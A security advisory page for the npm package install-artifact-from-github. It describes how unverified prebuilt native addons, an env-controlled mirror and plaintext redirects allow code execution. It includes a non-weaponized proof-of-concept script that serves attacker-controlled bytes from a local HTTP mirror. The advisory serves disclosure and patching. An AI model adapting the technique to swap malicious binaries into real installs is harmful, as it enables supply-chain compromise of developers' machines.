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OSV security advisoryHigh

GHSA-88q3-gch3-5396 · install-artifact-from-github

GHSA-88q3-gch3-5396 · Reported 18 Nov 2026

Full advisory details, affected packages, severity context, and original source.

Affected technology

install-artifact-from-githubAffected product

Affected versions and fixes

Version information comes from OSV, NVD, and the CVE vendor record. Each source may describe a different package, release branch, or platform.

install-artifact-from-github · npm

OSV
  • All earlier versions · before 1.7.0 (exclusive)

Fixed releases / commits: 1.7.0

Advisory overview

## Description `bin/install-from-cache.js` downloads a prebuilt native addon (`*.node`) over the network and writes it directly to the artifact path **with no cryptographic integrity verification of any kind** — no checksum manifest, no signature, no SRI. A scan of the whole package for `createHash|sha256|checksum|integrity|digest|signature` finds nothing. The file is then `require()`-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine. ### Affected code (v1.6.0) - **Mirror is fully attacker-steerable via an env var, no host pinning** — `bin/install-from-cache.js:80`: ```js let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com'; ``` `re2` passes `--host-var RE2_DOWNLOAD_MIRROR`, so setting `RE2_DOWNLOAD_MIRROR` (CI config, `.npmrc`/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning. - **The write sink is a bare `writeFile`, no verification** — `bin/install-from-cache.js:185-187`: ```js const write = async (name, data) => { await fsp.mkdir(path.dirname(name), {recursive: true}); await fsp.writeFile(name, data); // `data` is the raw HTTP response body }; ``` - **Cleartext transfer + silent protocol downgrade on redirect** — `bin/install-from-cache.js:155,165`: ```js const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null; // http:// supported ... get(res.headers.location).then(resolve, reject); // re-derives protocol from the NEW url ``` An `https://` asset that 302-redirects to `http://` is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap. ### The post-download "verification" is not an integrity gate `isVerified()` optionally runs `npm run verify-build` / `npm test` *after* writing the file. For `re2`, `scripts/verify-build.js` `require()`s the binary as its first line — i.e. the downloaded addon's native code has **already executed** by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any `npm_config_platform*` env var is set (`:120-122`). ## Proof of concept A self-contained, **non-malicious** PoC (`poc.js`) proves the missing-integrity property against the real `install-from-cache`, without shipping a weaponized binary: it stands up a plaintext-HTTP "mirror" serving a sentinel payload, runs `install-from-cache` with `RE2_DOWNLOAD_MIRROR` pointed at it, and shows the served bytes are written **verbatim** to `build/Release/re2.node`: ``` npm i install-artifact-from-github IAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js ``` ``` attacker mirror (plaintext http) on 127.0.0.1:PORT [mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137 Writing to build/Release/re2.node ... Done. install-from-cache exit: 0 served sha256: ec6fdde6...4ebc written sha256: ec6fdde6...4ebc ✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them ``` The install **succeeds (exit 0)** with attacker-controlled bytes at the artifact path. Because a real `.node` executes on `require()` (NAPI/`NODE_MODULE` init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.) ## Attack scenarios (any one suffices) - Attacker-configured or later-compromised `RE2_DOWNLOAD_MIRROR`. - Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS. - On-path attacker where a plaintext (`http://`) mirror or an `https→http` redirect is in play. ## Suggested fix 1. Publish per-release `SHASUMS256.txt` (or embed expected digests) and verify the download's SHA-256 **before** writing/loading; refuse on mismatch. (This is the model `prebuild-install` already uses.) 2. Reject `http://` asset URLs and `https→http` redirect downgrades; pin scheme across redirects; cap redirect count/hosts. 3. Document that `verify-build`/`test` run *after* load and cannot gate integrity. ## PoC **poc.js:** ```js // PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO // integrity verification, from an env-controlled mirror, over plaintext HTTP. // // This proves the CORE defect (arbitrary attacker-supplied bytes become build/Release/re2.node // with zero checksum/signature check) WITHOUT shipping a weaponized native binary: we serve a // sentinel payload and show byte-for-byte (sha256) that it is written verbatim as the artifact. // Because a .node artifact is dlopen()'d on require (running its module-init native code), an // attacker who substitutes it — via a compromised/attacker-set RE2_DOWNLOAD_MIRROR, a tampered // GitHub release, or an on-path MITM on the plaintext path — achieves code execution. // // Run: IAFG_BIN=/path/to/install-artifact-from-github/bin/install-from-cache.js node poc.js // (defaults to require.resolve if install-artifact-from-github is installed nearby) const http = require('http'); const fs = require('fs'); const os = require('os'); const path = require('path'); const crypto = require('crypto'); const { spawn } = require('child_process'); const IAFG = process.env.IAFG_BIN || require.resolve('install-artifact-from-github/bin/install-from-cache.js'); const SENTINEL = Buffer.from('ATTACKER-CONTROLLED-ARTIFACT-BYTES-' + 'A'.repeat(2048)); // stand-in for a malicious .node const servedSha = crypto.createHash('sha256').update(SENTINEL).digest('hex'); const work = fs.mkdtempSync(path.join(os.tmpdir(), 'iafg-poc-')); fs.writeFileSync(path.join(work, 'package.json'), JSON.stringify({ name: 're2', version: '1.24.1', repository: { type: 'git', url: 'https://github.com/uhop/node-re2.git' }, scripts: { 'verify-build': 'node -e "process.exit(0)"' } // trivial pass; the WRITE happened before this })); const server = http.createServer((req, res) => { process.stdout.write(` [mirror] served ${SENTINEL.length} attacker bytes over HTTP for ${req.url}\n`); res.writeHead(200, { 'content-type': 'application/octet-stream' }); res.end(SENTINEL); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; console.log(`attacker mirror (plaintext http) on 127.0.0.1:${port}`); const child = spawn('node', [IAFG, '--artifact', 'build/Release/re2.node', '--host-var', 'RE2_DOWNLOAD_MIRROR', '--skip-path-var', 'RE2_DOWNLOAD_SKIP_PATH', '--skip-ver-var', 'RE2_DOWNLOAD_SKIP_VER'], { cwd: work, stdio: ['ignore', 'inherit', 'ignore'], env: { ...process.env, RE2_DOWNLOAD_MIRROR: `http://127.0.0.1:${port}`, npm_package_version: '1.24.1', npm_package_github: 'https://github.com/uhop/node-re2', npm_package_scripts_verify_build: 'node -e "process.exit(0)"' } }); child.on('exit', (code) => { server.close(); console.log('install-from-cache exit:', code); const artifact = path.join(work, 'build/Release/re2.node'); if (fs.existsSync(artifact)) { const writtenSha = crypto.createHash('sha256').update(fs.readFileSync(artifact)).digest('hex'); console.log('served sha256:', servedSha); console.log('written sha256:', writtenSha); console.log(servedSha === writtenSha ? '✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them (served over plaintext HTTP from an env-controlled mirror). A real .node here would execute on require().' : '✗ sha mismatch'); } else { console.log('✗ artifact not written (check IAFG_BIN path)'); } fs.rmSync(work, { recursive: true, force: true }); }); }); ``` ## Patches Fixed in **1.7.0** via hash-bag verification. The consuming package publishes an `artifactHashes` map (`slot → sha256:<hex>` of the decompressed binary) in its *own* `package.json` — immutable once on npm, stamped at publish time by the new `hash-github-cache --write` bin (e.g. wired as `prepublishOnly`). `install-from-cache` now verifies the decompressed download **before writing it to disk**; a hash mismatch or a missing slot rejects the download and falls back to building from source. Verification is scoped to the default `github.com` source — an explicitly configured mirror (`--host` / mirror env var) remains trust-the-mirror by design. Because the bytes are checked against the published bag, an on-path attacker or an `https→http` transport downgrade on the default path is also defeated by content verification. Note: verification activates only when the consuming package ships an `artifactHashes` bag; packages without one behave as before (backward-compatible, zero-config default). `node-re2 >= 1.26.0` publishes a stamped bag. ## Workarounds On `<= 1.6.0`: skip downloading entirely and build from source via the documented dev short-circuit (`DEVELOPMENT_SKIP_GETTING_ASSET` env var, or a `.development` file). 1.7.0 adds first-class `--force-build` / `DOWNLOAD_FORCE_BUILD` for the same effect. In all versions, never point a mirror variable (e.g. `RE2_DOWNLOAD_MIRROR`) at a host you do not fully control.

Also known as

CVE-2026-73864

Related references

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